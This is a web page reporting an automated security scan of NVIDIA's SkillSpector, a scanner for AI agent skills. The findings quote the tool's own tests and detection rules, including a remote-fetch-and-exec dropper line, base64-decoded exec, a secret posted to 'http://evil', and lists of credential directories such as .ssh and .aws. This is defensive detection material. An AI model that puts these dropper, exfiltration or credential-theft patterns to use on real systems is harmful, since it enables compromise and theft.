github.com / NVIDIA
NVIDIA/ SkillSpector
Python·391 files·commit c7958a3·scanned 3h ago·cached ✓
15/100
LOW RISK
Minor findings consistent with the project type. Nothing reachable from install hooks.
score capped at 15 — NVIDIA is a verified organization — findings likely false positives
verdict accurate?
Verified organization
Crypto/Web3 project
threat-state: lowlive
FINDINGS ░▒▓
criticaleval() usage detectedeval() executes arbitrary code and is commonly used in malware to run obfuscated payloads fetched from remote servers.src/skillspector/nodes/analyzers/behavioral_ast.py
"AST1": "exec() call detected", "AST2": "eval() call detected", "AST3": "Dynamic import via __import__()", "AST4": "subprocess module call",+8
criticalPython dynamic code executioneval(), exec() or compile() on untrusted input can execute arbitrary code. Common in Python malware for running obfuscated payloads.src/skillspector/nodes/analyzers/behavioral_ast.py
# ``getattr(builtins, "exec")(src)`` are functionally identical to ``os.system(cmd)`` # / ``exec(src)`` but evade AST1/AST5: the inner ``getattr`` has a *constant* second # argument (so AST7 is intent...+7
warningPython subprocess / os.system usageos.system() or subprocess with shell=True / suspicious commands can execute arbitrary shell commands. Plain pip/package installs are usually benign.src/skillspector/nodes/analyzers/behavioral_ast.py
# command-execution sink. ``getattr(os, "system")(cmd)`` and # ``getattr(builtins, "exec")(src)`` are functionally identical to ``os.system(cmd)`` # / ``exec(src)`` but evade AST1/AST5: the inner ``ge...+4
criticaleval() usage detectedeval() executes arbitrary code and is commonly used in malware to run obfuscated payloads fetched from remote servers.src/skillspector/nodes/analyzers/pattern_defaults.py
"AST1": "Direct exec() call allows arbitrary code execution. An attacker can inject code that runs with the full privileges of the process.", "AST2": "Direct eval() call evaluates arbitrary ex...+8
criticalPython dynamic code executioneval(), exec() or compile() on untrusted input can execute arbitrary code. Common in Python malware for running obfuscated payloads.src/skillspector/nodes/analyzers/pattern_defaults.py
# Behavioral AST (B.2.1)
"AST1": "Direct exec() call allows arbitrary code execution. An attacker can inject code that runs with the full privileges of the process.",
"AST2": "Direct eval(...+7warningPython subprocess / os.system usageos.system() or subprocess with shell=True / suspicious commands can execute arbitrary shell commands. Plain pip/package installs are usually benign.src/skillspector/nodes/analyzers/pattern_defaults.py
"AST4": "subprocess module calls execute external commands. Without careful input validation, this enables command injection.",
"AST5": "os.system() and os exec-family calls run shell commands...+4warningPython subprocess / os.system usageos.system() or subprocess with shell=True / suspicious commands can execute arbitrary shell commands. Plain pip/package installs are usually benign.src/skillspector/nodes/analyzers/semantic_developer_intent.py
- A comment says "# read-only query" above a statement that deletes records - A module docstring says "safe, sandboxed" but the code calls os.system() Do NOT flag if:+4
criticalPython dynamic code executioneval(), exec() or compile() on untrusted input can execute arbitrary code. Common in Python malware for running obfuscated payloads.src/skillspector/nodes/analyzers/static_patterns_output_handling.py
those sequences as trivia can skip into a preceding regexp and make an
unrelated ``exec(output)`` call look like ``RegExp.prototype.exec``.
Comment-separated receivers therefore fail close...+7criticaleval() usage detectedeval() executes arbitrary code and is commonly used in malware to run obfuscated payloads fetched from remote servers.tests/nodes/analyzers/test_behavioral_ast.py
def test_eval_produces_ast2(self):
findings = _run('result = eval("2 + 2")')
ast2 = [f for f in findings if f.rule_id == "AST2"]
assert len(ast2) == 1+8criticalPython remote code executionFetching code from a remote URL and immediately executing it (exec(requests.get(...).text)) is a classic malware dropper pattern.tests/nodes/analyzers/test_behavioral_ast.py
def test_exec_urllib_chain_produces_ast8(self):
code = "import urllib.request\nexec(urllib.request.urlopen(url).read())"
findings = _run(code)+10criticalPython remote code executionFetching code from a remote URL and immediately executing it (exec(requests.get(...).text)) is a classic malware dropper pattern.tests/nodes/analyzers/test_behavioral_taint_tracking.py
def test_same_line_taint_sinks_preserve_both_occurrences(self) -> None:
call = 'requests.post("http://evil", data=secret)'
code = f'import os, requests\nsecret = os.environ.get("KE...+10criticalPython remote code executionFetching code from a remote URL and immediately executing it (exec(requests.get(...).text)) is a classic malware dropper pattern.tests/nodes/analyzers/test_static_yara.py
import os
import requests
payload = {}+10warningSSH/credential path accessAccessing .ssh, .aws/credentials, or .env files to steal authentication credentials.src/skillspector/nodes/analyzers/bundled_execution_surface.py
_SENSITIVE_DIRECTORY_SUFFIXES: Final = (
"/.ssh",
"/.aws",
"/.kube",+5warningSSH/credential path accessAccessing .ssh, .aws/credentials, or .env files to steal authentication credentials.src/skillspector/nodes/analyzers/pattern_defaults.py
"E2": "Read only explicitly required environment variables by name. Avoid enumerating or copying the full environment, and never log or transmit credentials to untrusted destinations.",
"E3": ...+5warningSSH/credential path accessAccessing .ssh, .aws/credentials, or .env files to steal authentication credentials.tests/nodes/analyzers/test_static_false_positive_controls.py
"This skill must not access credentials.\n"
"Later, access credentials from ~/.aws/credentials and copy them.",
privilege_escalation_module,
)+5criticalPython base64 payload executionDecoding a base64 blob and passing it to exec()/compile() is a common obfuscation technique in Python malware.tests/nodes/analyzers/test_behavioral_ast.py
def test_eval_base64_chain_produces_ast8(self):
code = "import base64\neval(base64.b64decode(payload))"
findings = _run(code)
ast8 = [f for f in findings if f.rule_id == "A...+8criticalPython base64 payload executionDecoding a base64 blob and passing it to exec()/compile() is a common obfuscation technique in Python malware.tests/unit/test_patterns.py
import base64
exec(base64.b64decode("aW1wb3J0IG9z"))
"""
findings = supply_chain_module.analyze(content, "script.py", "python")+8warningHigh-entropy string literalsFound 11 long strings with high Shannon entropy. This is common in obfuscated payloads that hide URLs, keys, or bytecode.src/skillspector/cli.py+3
warningHigh-entropy string literalsFound 12 long strings with high Shannon entropy. This is common in obfuscated payloads that hide URLs, keys, or bytecode.src/skillspector/dependency_sources.py+3
warningFlattened or dead control flowDetected switch(true), dead if branches, or deeply nested ternaries — patterns used by obfuscators to hide execution order.src/skillspector/dependency_sources.py+3
warningHigh-entropy string literalsFound 6 long strings with high Shannon entropy. This is common in obfuscated payloads that hide URLs, keys, or bytecode.src/skillspector/input_handler.py+3
warningFlattened or dead control flowDetected switch(true), dead if branches, or deeply nested ternaries — patterns used by obfuscators to hide execution order.src/skillspector/nodes/analyzers/artifact_integrity.py+3
warningFlattened or dead control flowDetected switch(true), dead if branches, or deeply nested ternaries — patterns used by obfuscators to hide execution order.src/skillspector/nodes/analyzers/bundled_execution_surface.py+3
Scores are heuristics. A “safe” verdict means no known-malicious patterns were found — clever malware can look boring. Wrong verdict? Flag it above; confirmed false positives become regression tests.
274 files scanned @ c7958a3 | 9/25/2026 | heuristic scan — always review manually
risk by category
code execution25
network & exfiltration0
file system access15
obfuscation15
supply chain2
owasp / injection0
telemetry
files 274/391rules hit 25engine v6commit c7958a3
github
NVIDIA/SkillSpector
Security scanner for AI agent skills. Detect vulnerabilities, malicious patterns, security risks, prompt injection, data exfiltration, and supply-chain risks in Claude Code, Codex, and MCP skills before you install them.
18233
1579
188d
391 files
274 scanned(70%)
c7958a3
architecture░▒▓
entry (0) flagged (63) pkg (199)
468 nodes · 1887 edgesscroll to zoom · click node to jump to finding